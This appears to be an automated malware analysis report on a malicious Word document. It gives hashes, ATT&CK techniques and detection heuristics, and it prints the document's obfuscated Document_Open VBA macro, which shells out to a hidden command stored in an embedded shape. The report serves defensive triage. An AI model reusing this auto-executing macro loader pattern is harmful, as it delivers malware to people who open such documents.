Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 972485bd096b2334…

MALICIOUS

Office (OLE)

67.0 KB Created: 2018-11-06 16:30:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 1145777be335f58702242fe65766a4cc SHA-1: edfb0e270db1baa1fae0326414eabc5b7a1d536d SHA-256: 972485bd096b2334ad1c84a3332f6cf57b3a62bdd95cac2aa09eb26e1f0f08fd
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that executes a complex, obfuscated PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell. The decoded payload is likely responsible for downloading and executing a second-stage payload, as indicated by the PowerShell and cmd.exe execution heuristics.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1001 bytes
SHA-256: 7a470984757249e28125b561e558a5a9d1cb0b10ed21ed6110f5c32b35389adc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
26 of 49 identifiers look randomly generated (e.g. 'XKKjruSGAC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wRwKSaUDD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   poYGw = (PLjqDq + jrTuBN + EUzUmz + YhrzS / DHAVQ + dkvOm + aFTjrl + GuOUr)
   YGFph = hwNTrj + LLkIw + wTonjX + knBOsi * hmtEBL + aQJNN * PUzSzE + oskSWS + vtwza + zkZSf
   Hqdstk = ucqzdB + NJFKXL + zpqFhL + omJRw / WtRWt + zKrst + OXhFO + jICHBn
Const XKKjruSGAC = 383684964 - 383684964
Shell@ Shapes(1).TextFrame.TextRange.Text + XDfaVsM + jPnovoCb, XKKjruSGAC
   SrawY = OPSiL + vntmzv / (FEhrD + OiCwBb / (nOhjzn + fbEUL + aoQma + PRLHk))
   hizzj = JNmiFa + bajZnq * (npaFj + fMLLq)
   CKdMS = CWqjG + mKusi + NjnTa + PWnLW / Gwkckq + OlDIs + HKdnEV + hHXSj / jQzvdq + OaJZJ
   GShTKm = ffvim + SGRpEs + ZsfCN + nZEvWr * YfRqkV + UNjUMw
End Sub